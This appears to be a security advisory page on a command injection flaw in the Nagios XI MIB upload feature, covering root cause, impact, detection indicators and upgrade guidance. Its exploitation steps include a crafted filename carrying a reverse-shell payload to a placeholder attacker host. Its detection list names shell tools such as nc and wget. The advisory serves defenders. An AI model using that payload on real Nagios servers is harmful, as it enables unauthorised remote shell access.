CVE-2026-119742: 
Nagios vulnerability analysis and mitigation

CVE-2026-119742 is an OS command injection vulnerability in Nagios XI's MIB upload feature, affecting all versions before 2026R2. The install_mib() function in mibs.php applies an incomplete character-substitution filter that omits semicolons, pipes, and non-space IFS whitespace characters (such as tab characters) when sanitizing uploaded filenames before passing them to a grep command executed via exec(). An authenticated administrator can exploit this to achieve arbitrary OS command execution as the web server user. It carries a CVSS v3.1 base score of 7.2 (High) and a CVSS v4.0 base score of 8.6 (High), and was disclosed on November 3, 2026 (GitHub Advisory).

The root cause is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The install_mib() function in mibs.php attempts to sanitize uploaded MIB filenames using a deny-list approach, but the filter fails to account for tab characters and other non-space IFS whitespace, semicolons, and pipe characters. An attacker crafts a MIB filename containing a tab character followed by a shell command and a pipe to sh, which bypasses the incomplete filter and is passed unsanitized to exec(), resulting in shell command execution. The attack is delivered via a multipart POST request to mibs.php and requires authenticated administrator-level access (GitHub Advisory, VulnCheck Advisory).

Successful exploitation allows an authenticated administrator to execute arbitrary OS commands as the web server user on the Nagios XI host. This results in high impact to confidentiality, integrity, and availability of the vulnerable system, potentially enabling an attacker to read sensitive monitoring configuration data, modify system files, install backdoors, or disrupt the availability of the Nagios XI monitoring service. While the vulnerability does not directly impact subsequent/downstream systems per the CVSS v4.0 assessment, lateral movement from the compromised web server context remains a realistic post-exploitation risk (GitHub Advisory).

As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (GitHub Advisory). The NVD SSVC assessment confirms exploitation status as "none" and notes the attack is not automatable, as it requires authenticated administrator credentials. The EPSS score is approximately 4.09% (91st percentile), indicating a relatively elevated probability of exploitation within 30 days compared to other CVEs. No threat actor attribution or CISA KEV catalog listing has been identified for this vulnerability (GitHub Advisory).

1. Authenticate as Administrator: Log in to the Nagios XI web interface using valid administrator credentials.
2. Navigate to MIB Upload Feature: Access the MIB management page, typically found under the SNMP/MIB configuration section of the Nagios XI admin panel.
3. Craft Malicious Filename: Prepare a MIB file with a filename containing a tab character followed by a shell command and a pipe to sh — for example: validname[TAB]|sh -i >& /dev/tcp/attacker-ip/4444 0>&1 #.mib. The tab character bypasses the incomplete deny-list filter in install_mib().
4. Send Multipart POST Request: Submit the crafted MIB file via a multipart POST request to mibs.php. This can be done through the browser UI or directly via a tool such as curl with the crafted filename embedded in the Content-Disposition header.
5. Trigger Command Execution: The install_mib() function passes the unsanitized filename to a grep command via exec(), causing the injected shell command to execute as the web server user.
6. Achieve Remote Shell or Persistence: The injected command establishes a reverse shell or drops a web shell, granting the attacker persistent OS-level access to the Nagios XI server (GitHub Advisory, VulnCheck Advisory).

• Network: Unexpected outbound connections from the Nagios XI web server to external IP addresses, particularly on non-standard ports (e.g., reverse shell connections); unusual DNS lookups originating from the web server process.
• Logs: Web server access logs showing POST requests to mibs.php with filenames containing tab characters, pipe symbols, or shell metacharacters in the Content-Disposition header; PHP or application error logs referencing exec() calls with unexpected arguments.
• File System: Newly created or modified files in the Nagios XI web root or /tmp directory, particularly web shells (e.g., .php files with obfuscated content); unexpected cron jobs or scheduled tasks added under the web server user account.
• Process: Unusual child processes spawned by the web server process (e.g., apache2, nginx, or php-fpm) such as sh, bash, curl, wget, nc, or python; processes with network connections to external hosts initiated by the web server user.

Upgrade Nagios XI to version 2026R2 or later, which contains the fix for this vulnerability (Nagios Security Disclosures). As interim mitigations, restrict MIB upload functionality to only the most trusted administrators and monitor the mibs.php endpoint for suspicious POST requests. Additionally, consider implementing a web application firewall (WAF) rule to detect and block requests with shell metacharacters in filename fields, and replace exec() calls with safer alternatives that do not invoke shell interpretation (GitHub Advisory).